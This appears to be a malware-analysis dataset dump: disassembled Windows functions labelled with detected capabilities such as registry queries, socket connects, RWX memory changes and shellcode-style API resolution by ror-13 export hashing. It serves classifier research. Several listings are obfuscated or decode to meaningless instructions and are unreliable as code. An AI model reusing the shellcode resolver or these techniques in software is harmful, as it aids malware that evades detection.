joyce8/EMBER2024-capa huggingface dataset:
Function at 0x419990
Capabilities:
Create shortcut via ishelllink

Disassembly:
sub esp, 0x21c
mov eax, dword [0x46a74c]
xor eax, esp
mov dword [esp + 0x218], eax
mov eax, dword [esp + 0x228]
mov ecx, dword [esp + 0x230]
push ebx
mov ebx, dword [esp + 0x228]
push ebp
mov ebp, dword [esp + 0x234]
push esi
mov esi, dword [esp + 0x22c]
lea edx, [esp + 0xc]
push edx
push 0x459008
push 1
push 0
push 0x459018
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], ecx
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x419aea
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
push edi
lea edx, [esp + 0x14]
push edx
push 0x459028
push eax
mov eax, dword [ecx]
call eax
mov edi, eax
test edi, edi
jl 0x419adb
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x50]
push esi
push eax
call edx
mov edi, eax
test edi, edi
jge 0x419a31
push 0xffffffffffffffff
push 0x10
push 0x16
call fcn.00424866
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x24]
push ebx
push eax
call edx
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x1c]
call eax
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push ebp
push eax
call edx
mov edx, dword [esp + 0x244]
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
push edx
push esi
push eax
mov eax, dword [ecx + 0x44]
call eax
test edi, edi
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
jge 0x419a8b
push 0x10
push 0x450844
push 0x454064
push 0
call esi
mov edx, dword [esp + 0x1c]
push 0x104
lea ecx, [esp + 0x24]
push ecx
push 0xffffffffffffffff
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
push 1
lea edx, [esp + 0x24]
push edx
push eax
mov eax, dword [ecx + 0x18]
call eax
mov edi, eax
test edi, edi
jge 0x419acf
push 0x10
push 0x450844
push 0x454030
push 0
call esi
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, edi
pop edi
mov ecx, dword [esp + 0x224]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0042e802
add esp, 0x21c
ret

Function at 0x419c60
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xa04
mov eax, dword [0x46a74c]
xor eax, esp
mov dword [esp + 0xa00], eax
mov eax, dword [esp + 0xa08]
push esi
mov esi, dword [esp + 0xa10]
lea edx, [esp + 4]
push edx
lea edx, [esp + 0x10]
push edx
lea edx, [esp + 0x10]
push edx
push 0
push eax
mov eax, dword [ecx + 4]
push eax
mov dword [esp + 0x1c], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x419ce7
lea eax, [esp + 0xc]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x419cb2
sub eax, edx
push eax
lea ecx, [esp + 0x10]
push ecx
mov ecx, esi
call fcn.00401790
mov eax, 1
pop esi
mov ecx, dword [esp + 0xa00]
xor ecx, esp
call fcn.0042e802
add esp, 0xa04
ret 8
mov ecx, dword [esp + 0xa04]
pop esi
xor ecx, esp
xor eax, eax
call fcn.0042e802
add esp, 0xa04
ret 8
Function at 0x41b530
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x44dbf9
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push esi
push edi
mov eax, dword [0x46a74c]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
push 0x80000002
lea ecx, [esp + 0x14]
mov dword [esp + 0x10], 0
call fcn.00419c10
lea ecx, [esp + 0x18]
mov dword [esp + 0x38], 1
call fcn.0042af6a
mov eax, dword [esp + 0x44]
sub eax, 1
mov esi, dword [esp + 0x48]
mov byte [esp + 0x38], 2
je 0x41b664
sub eax, 1
je 0x41b63e
sub eax, 1
jne 0x41b5ef
push str.SOFTWARETencentQQGameSYS
lea ecx, [esp + 0x14]
call fcn.00419bb0
test eax, eax
je 0x41b5ef
push esi
push str.HallDirectory
lea ecx, [esp + 0x18]
call fcn.00419c60
push str.QQGame.exe
mov ecx, esi
call fcn.004020f0
lea ecx, [esp + 0x10]
call fcn.00419bf0
mov eax, dword [esi]
push 0
push eax
lea ecx, [esp + 0x20]
call fcn.0042aff6
test eax, eax
jne 0x41b5ef
mov ecx, esi
call fcn.00401390
mov esi, dword [esi]
sub esi, 0x10
push esi
call fcn.00401440
mov esi, dword [esp + 0x44]
add eax, 0x10
add esp, 4
mov dword [esi], eax
lea ecx, [esp + 0x18]
mov dword [esp + 0xc], 1
mov byte [esp + 0x38], 1
call fcn.0042af8e
lea ecx, [esp + 0x10]
mov byte [esp + 0x38], 0
call fcn.00419c30
mov eax, esi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x30
ret
push str.Software_tencentPLATFORM_TYPE_LIST2
lea ecx, [esp + 0x14]
call fcn.00419bb0
test eax, eax
je 0x41b5ef
push esi
push str.TypePath
lea ecx, [esp + 0x18]
call fcn.00419c60
jmp 0x41b5cd
push str.Software_tencentQQ
lea ecx, [esp + 0x14]
call fcn.00419bb0
test eax, eax
je 0x41b5ef
push esi
push str.Install
lea ecx, [esp + 0x18]
call fcn.00419c60
lea ecx, [esp + 0x10]
call fcn.00419bf0
push str.coralqq.exe
lea eax, [esp + 0x48]
push esi
push eax
call fcn.00412590
add esp, 0xc
mov eax, dword [eax]
push 0
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x40], 3
call fcn.0042aff6
mov edi, eax
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
mov byte [esp + 0x38], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41b6df
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test edi, edi
je 0x41b6f4
push str.coralqq.exe
mov ecx, esi
call fcn.004020f0
jmp 0x41b5ef
push str.QQ.exe
lea ecx, [esp + 0x4c]
push esi
push ecx
call fcn.00412590
add esp, 0xc
mov eax, dword [eax]
push 0
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x40], 4
call fcn.0042aff6
lea ecx, [esp + 0x48]
mov edi, eax
mov byte [esp + 0x38], 2
call fcn.00401370
test edi, edi
je 0x41b5e8
push str.QQ.exe
mov ecx, esi
call fcn.004020f0
jmp 0x41b5ef
Function at 0x4218f2
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x42192b
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0041d010
push eax
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004012f0
pop esi
ret 4
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
pop esi
jmp dword [eax + 0x8c]

Function at 0x423446
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x423489
call fcn.0042439c
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
test eax, eax
je 0x423489
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov edi, eax
test edi, edi
je 0x4234a4
push edi
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.00422ffd
test ebx, ebx
mov esi, eax
je 0x4234a2
test edi, edi
je 0x4234a2
push edi
call dword [sym.imp.KERNEL32.DLL_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x42652e
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x426557
call fcn.0042439c
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esi + 8], eax
jne 0x42657a
push eax
push dword [esi + 4]
call fcn.004264b9
push esi
push eax
mov ecx, 0x46e110
call fcn.00426193
mov eax, esi
pop esi
pop ebp
ret 0x18

Function at 0x427536
Capabilities:
Read file on windows

Disassembly:
cmp dword [esp + 8], 0
push esi
mov esi, ecx
jne 0x42753f
xor eax, eax
jmp 0x4275a8
cmp dword [esp + 8], 0
jne 0x42754b
call fcn.0041cea6
push edi
push dword [esi + 0x10]
push dword [esp + 0x14]
push 1
push dword [esp + 0x18]
call fcn.0043585a
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x427586
push dword [esi + 0x10]
call fcn.0043559f
test eax, eax
pop ecx
jne 0x427586
mov esi, dword [esi + 0xc]
call fcn.00433051
push esi
push dword [eax]
push 1
call fcn.0042d3e8
push dword [esi + 0x10]
call fcn.004355ce
test eax, eax
pop ecx
je 0x4275a5
push dword [esi + 0x10]
call fcn.004354f3
push eax
call fcn.00408c90
pop ecx
pop ecx
jmp 0x427574
mov eax, edi
pop edi
pop esi
ret 8

Function at 0x4275b1
Capabilities:
Write file on windows

Disassembly:
cmp dword [esp + 4], 0
push esi
mov esi, ecx
jne 0x4275bb
call fcn.0041cea6
push dword [esi + 0x10]
push dword [esp + 0x10]
push 1
push dword [esp + 0x14]
call fcn.00430786
add esp, 0x10
cmp eax, dword [esp + 0xc]
je 0x4275e8
mov esi, dword [esi + 0xc]
call fcn.00433051
push esi
push dword [eax]
push 1
call fcn.0042d3e8
pop esi
ret 8
Function at 0x42e802
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46a74c]
jne 0x42e80c
repz ret
jmp fcn.00436994

Function at 0x443a3f
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00439042
xor ebx, ebx
cmp dword [0x46eedc], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x443b14
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x443a7f
xor eax, eax
jmp 0x443bd8
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x458fc8
push edi
call esi
cmp eax, ebx
je 0x443a78
push eax
call fcn.00438fdf
mov dword [esp], 0x458fb8
push edi
mov dword [0x46eedc], eax
call esi
push eax
call fcn.00438fdf
mov dword [esp], 0x458fa4
push edi
mov dword [0x46eee0], eax
call esi
push eax
call fcn.00438fdf
mov dword [0x46eee4], eax
lea eax, [ebp - 8]
push eax
call fcn.00435ded
test eax, eax
pop ecx
pop ecx
je 0x443ae2
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042fe5e
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x443b14
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00438fdf
cmp eax, ebx
pop ecx
mov dword [0x46eeec], eax
je 0x443b14
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00438fdf
pop ecx
mov dword [0x46eee8], eax
mov eax, dword [0x46eee8]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x443b8d
cmp dword [0x46eeec], esi
je 0x443b8d
push eax
call fcn.0043904b
pop ecx
call eax
cmp eax, ebx
je 0x443b5a
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x46eeec]
call fcn.0043904b
pop ecx
call eax
test eax, eax
je 0x443b5a
test byte [ebp - 0x18], 1
jne 0x443b8d
lea eax, [ebp - 0xc]
push eax
call fcn.00435e24
test eax, eax
pop ecx
je 0x443b75
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042fe5e
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x443b84
or dword [ebp + 0x10], 0x200000
jmp 0x443bbe
or dword [ebp + 0x10], 0x40000
jmp 0x443bbe
mov eax, dword [0x46eee0]
cmp eax, esi
je 0x443bbe
push eax
call fcn.0043904b
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x443bbe
mov eax, dword [0x46eee4]
cmp eax, esi
je 0x443bbe
push dword [ebp - 4]
push eax
call fcn.0043904b
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x46eedc]
call fcn.0043904b
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x447e26
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x46a74c]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00447dbb
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0042f6a0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x447e75
cmp dword [ebp - 0x1c], 5
jb 0x447e8d
jmp 0x447e89
cmp dword [ebp - 0x10], 1
jne 0x447e8d
cmp dword [ebp - 0x1c], 4
ja 0x447e89
jne 0x447e8d
cmp dword [ebp - 0x18], 0
jbe 0x447e8d
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x45927c
call fcn.00447cac
test eax, eax
jge 0x447eae
mov byte [0x46c608], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0042e802
add ebp, 0x78
leave
ret
Function at 0x404730
Capabilities:
Resolve function by parsing pe exports

Disassembly:
nop
cld
nop
call 0x40486c
nop
jmp 0x40454b
nop
pushal
nop
jmp 0x404558
mov ebp, esp
nop
xor edx, edx
nop
jmp 0x404569
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
nop
jmp 0x40457b
mov edx, dword [edx + 0x14]
nop
mov esi, dword [edx + 0x28]
movzx ecx, word [edx + 0x26]
nop
jmp 0x404594
xor edi, edi
jmp 0x4045a5
xor eax, eax
nop
jmp 0x4045b4
lodsb al, byte [esi]
nop
cmp al, 0x61
jl 0x4045d7
nop
jmp 0x4045c7
nop
jmp 0x4045d4
sub al, 0x20
nop
nop
jmp 0x4045e2
ror edi, 0xd
jmp 0x4045f5
add edi, eax
nop
dec ecx
nop
jmp 0x404606
jne 0x404596
jmp 0x40461c
push edx
mov edx, dword [edx + 0x10]
mov eax, dword [edx + 0x3c]
nop
add eax, edx
jmp 0x404635
push edi
nop
jmp 0x404645
mov eax, dword [eax + 0x78]
nop
test eax, eax
jmp 0x404656
je 0x404831
nop
jmp 0x404667
add eax, edx
mov ebx, dword [eax + 0x20]
nop
jmp 0x40467a
mov ecx, dword [eax + 0x18]
nop
jmp 0x40468c
add ebx, edx
jmp 0x404698
push eax
nop
nop
jmp 0x4046aa
test ecx, ecx
nop
je 0x404830
nop
jmp 0x4046c5
nop
jmp 0x4046d3
dec ecx
nop
jmp 0x4046df
xor edi, edi
nop
mov esi, dword [ebx + ecx*4]
jmp 0x4046f4
add esi, edx
nop
jmp 0x404704
nop
xor eax, eax
nop
lodsb al, byte [esi]
nop
jmp 0x40471a
ror edi, 0xd
jmp 0x40472c
add edi, eax
nop
cmp al, ah
loopne 0x404741
test ebp, ecx
invalid
invalid
invalid
jmp 0x404742
jmp 0x40474e
add edi, dword [ebp - 8]
nop
cmp edi, dword [ebp + 0x24]
jmp 0x404765
jne 0x40469a
nop
pop eax
nop
jmp 0x404781
mov ebx, dword [eax + 0x24]
jmp 0x404798
add ebx, edx
mov cx, word [ebx + ecx*2]
nop
mov ebx, dword [eax + 0x1c]
jmp 0x4047b6
add ebx, edx
nop
mov eax, dword [ebx + ecx*4]
jmp 0x4047cc
add eax, edx
jmp 0x4047de
mov dword [esp + 0x24], eax
jmp 0x4047f6
pop ebx
jmp 0x404807
pop ebx
jmp 0x40481b
popal
jmp 0x40482b
pop ecx
pop edx
push ecx
jmp eax
pop eax
pop edi
jmp 0x404841
pop edx
mov edx, dword [edx]
jmp 0x404855
jmp 0x40457e
daa
aaa
std
salc
aas
xchg ebx, eax
inc ecx
clc
stc
xchg ebx, eax
das
cwde
cwde
dec eax
nop
xchg edx, eax
stc
lahf
inc eax
stc
dec ebx
dec eax
cdq
daa
lahf
dec ecx
dec eax
das
cwde
salc
cdq
inc eax
nop
daa
std
cmc
xchg edx, eax
cdq
clc
xchg ebx, eax
dec eax
dec eax
xchg ebx, eax
salc
clc
std
inc edx
inc eax
std
dec ecx
stc
nop
inc ebx
std
xchg edx, eax
cdq
aas
xchg ecx, eax
wait
inc ecx
clc
inc ebx
das
stc
cwde
aas
aas
std
aaa
cld
std
dec eax
inc ecx
inc edx
inc eax
xchg ecx, eax
dec eax
stc
aas
cwde
cwde
std
salc
lahf
inc ebx
inc ecx
nop
xchg ecx, eax
inc edx
daa
lahf
xchg edx, eax
lahf
cld
daa
das
aas
dec ecx
dec eax
inc edx
std
das
dec edx
nop
lahf
salc
wait
xchg ecx, eax
salc
xchg ebx, eax
inc edx
lahf
inc ebx
dec eax
nop
cmc
inc eax
dec eax
inc eax
xchg ebx, eax
inc edx
xchg edx, eax
inc edx
dec edx
cmc
daa
inc edx
aaa
dec edx
daa
cwde
clc
jmp 0x404536
Function at 0x404a0a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor edi, edi
mov esi, dword [edx + 0x28]
movzx ecx, word [edx + 0x26]
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x404a10
sub al, 0x20
ror edi, 0xd
add edi, eax
dec ecx
jne 0x404a07
push edx
mov edx, dword [edx + 0x10]
push edi
mov eax, dword [edx + 0x3c]
add eax, edx
mov eax, dword [eax + 0x78]
test eax, eax
je 0x404a75
add eax, edx
mov ecx, dword [eax + 0x18]
mov ebx, dword [eax + 0x20]
push eax
add ebx, edx
test ecx, ecx
je 0x404a74
dec ecx
xor edi, edi
mov esi, dword [ebx + ecx*4]
add esi, edx
xor eax, eax
lodsb al, byte [esi]
ror edi, 0xd
add edi, eax
cmp al, ah
jne 0x404a40
add edi, dword [ebp - 8]
cmp edi, dword [ebp + 0x24]
jne 0x404a34
pop eax
mov ebx, dword [eax + 0x24]
add ebx, edx
mov cx, word [ebx + ecx*2]
mov ebx, dword [eax + 0x1c]
sbb al, 1
ror dword [ebx - 0x2ffe74fc], cl
mov dword [esp + 0x24], eax
pop ebx
pop ebx
popal
pop ecx
pop edx
push ecx
jmp eax
pop eax
pop edi
pop edx
mov edx, dword [edx]
jmp 0x4049fe

Function at 0x406840
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
xchg ah, ch
adc byte [edx], al
add byte [eax], al
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, 0x1983e843
dec dword [edi]
test byte [ecx + eax + 0x4b8b00c6], dl
xor eax, 0x89840fc9
fiadd word [eax]
add byte [edi + 0x4e8bf81e], al
adc al, 0x8d
push esi
mov ch, 0x51
push edx
push eax
call dword [sym.imp.WSOCK32.dll_connect]
cmp dword [eax], 0xffffffff
jne 0x6169ec
mov esi, dword [sym.imp.WSOCK32.dll_WSAGetLastError]
call esi
test eax, eax
je 0x406909
call esi
add eax, 0xafcd2
cmp eax, 0xc899ad
invalid
aas
jb 0x406951
retf
jmp ecx
add byte [eax], al
test eax, eax
je 0x4069b5
mov edx, dword [edx + 0xc4f8d04]
lea eax, [ebp + 8]
push edx
push eax
push 0x1007
mov edi, edi
inc dword [eax]
sti
daa
mov dword [ebp + 0xc], 0x4b04
call dword [0xc240c1a0]
test eax, eax
inc esp
daa
mov esi, 0x40efd835
add byte [edi - 0x7c], dh
test eax, eax
jne 0x40691b
pop edi
pop esi
xor ebp, dword [ebx + ebx*2]
mov ecx, dword [edi + 0x5d]
cmc
invalid
mov esi, dword [ebp + 0xc]
mov eax, dword [ebx + 0x10]
mov dword [ebx + 0x14], esi
xor bh, byte [eax + 0x2a]
lodsb al, byte [esi]
jne 0x4069cc
pop ss
xchg byte [ecx + eax], ch
add byte [eax], al
int1
mov esp, dword [esi + 0x18]
mov esi, dword [eax + 0x20]
mov edi, 0x41042c
xor edx, edx
popal
cmpsb byte [esi], byte es:[edi]
jne 0x40698a
loop 0x4069e2
inc ebx
xor byte [ecx], al
add byte [eax + eax + 0x5bc0335e], dl
mov esp, ebp
push esp
ret 8
Function at 0x40100b
Capabilities:
Query or enumerate registry value

Disassembly:
call 0x40100b
push eax
call sub.KERNEL32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xfffffef0
jmp 0x40109c
lea eax, [ebp - 0x104]
push eax
call fcn.004011ec
push 0x401019
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
jne 0x401165
lea eax, [ebp - 0x10c]
push eax
push 0x20019
push 0
push 0x401038
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x4011a5
mov dword [ebp - 0x110], 0x103
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x401052
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
cmp eax, 0
jne 0x4011a5
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrlenA
lea ebx, [ebp - 0x104]
add ebx, eax
dec ebx
cmp byte [ebx], 0x5c
je 0x40114a
mov word [ebx], 0x5c
push 0x401023
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
je 0x4011a5
mov dword [ebp - 0x108], eax
push 0x40102d
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x40119a
push 0x3e8
call eax
test eax, eax
je 0x40119a
call 0x40118a
add dword [esp], 0x1e76
call eax
push 0
call sub.KERNEL32.dll_ExitProcess
push dword [ebp - 0x108]
call sub.KERNEL32.dll_FreeLibrary
push 0x10
push 0x401096
push 0x401057
push 0
call sub.USER32.dll_MessageBoxA
mov eax, 0xffffffff
leave
ret

Function at 0x402403
Capabilities:
Enumerate files on windows
Get disk size
Get geographical location
Print debug messages
Query environment variable

Disassembly:
inc eax
add dl, bh
jbe 0x402397
add dl, ah
mov dword [0xa22759], eax
push 0x40c0cd
jmp [ebp - 0x1dbfc917]
daa
mov byte [0xc0cd6800], al
inc eax
add bh, bh
lodsd eax, dword [esi]
jmp 0xe92263e0
inc eax
loop 0x402392
popal
add dl, ah
add byte [ebx + 0x40bb6d], ah
push 0x402249
jecxz 0x4023ef
jmp 0xe840c5f5
and ah, byte [edx - 0x3417b000]
add byte [eax], al
add byte [edi], bh
popal
daa
inc eax
loop 0x402456
push 0x40bf32
push eax
cli
push es
add byte [eax], al
loop 0x4023ad
daa
mov byte [0x5955c300], al
in eax, 0x83
in al, dx
salc
mov edi, dword [ebp + 8]
jl 0x40239b
aas
dec ebp
mov byte [ebp + 0x65], dh
mov eax, ebp
add edx, dword [edi + 0x3c]
jl 0x4023a7
cmp dl, byte [eax - 0x63]
jne 0x402484
mov dword [ebp + 0x6a428bf4], ecx
add eax, dword [ebp + 8]
pop ecx
inc ebp
clc
mov esp, dword [edx - 0x25bafce0]
mov dword [ebp - 4], eax
mov cl, 0xc9
mov edx, dword [ebp - 0x16]
cmp ecx, dword [edx + 0x18]
cmp cl, byte gs:[ebx + 0x1c8be65d]
mov ebx, edi
pop ebp
or bh, bh
insd dword es:[edi], dx
or al, 0x53
push ebx
call fcn.0040220a
pop edi
clc
add dword [edi + ebx*8 + 0x41], esi
jmp 0x402442
mov cl, 0xc0
mov esp, ebp
test edx, eax
or byte [eax], al

Function at 0x4042a0
Capabilities:
Terminate process

Disassembly:
mov edx, eax
push dword [0x402740]
call dword [sym.imp.pdh.dll_PdhValidatePathA]
and eax, 0xf
add eax, 0xb
xor edi, edi
xor esi, esi
cmp eax, 0x18
je 0x4042c9
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
mov edx, eax
mov dword [0x403705], eax
ret
Function at 0x4033f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
test ecx, ecx
mov dword [ebp - 0xc], ebx
mov ebx, eax
mov dword [ebp - 8], esi
mov esi, edx
mov dword [ebp - 4], edi
mov edi, ecx
jne 0x403416
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x38]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4034aa
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x403465
cmp eax, 0x40
je 0x403465
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x403409
cmp eax, 0x40
je 0x403409
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
jmp 0x403409
mov dword [esp + 8], 0x34
mov dword [esp + 4], str..._.._runtime_pseudo_reloc.c
mov dword [esp], str.VirtualQuery__addr__b__sizeof_b__
call sym.__assert
lea esi, [esi]
lea edi, [edi]

Function at 0x4039d8
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [0x40bab0]
call sym._TlsAlloc_0
cmp eax, 0xffffffff
je 0x403a14
mov dword [ebx + 0x24], eax
mov dword [esp + 4], 0
mov dword [esp], eax
call sym.___mingwthr_key_dtor
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x28], eax
add esp, 0x14
pop ebx
leave
ret
call sym._GetLastError_0
jmp 0x403a02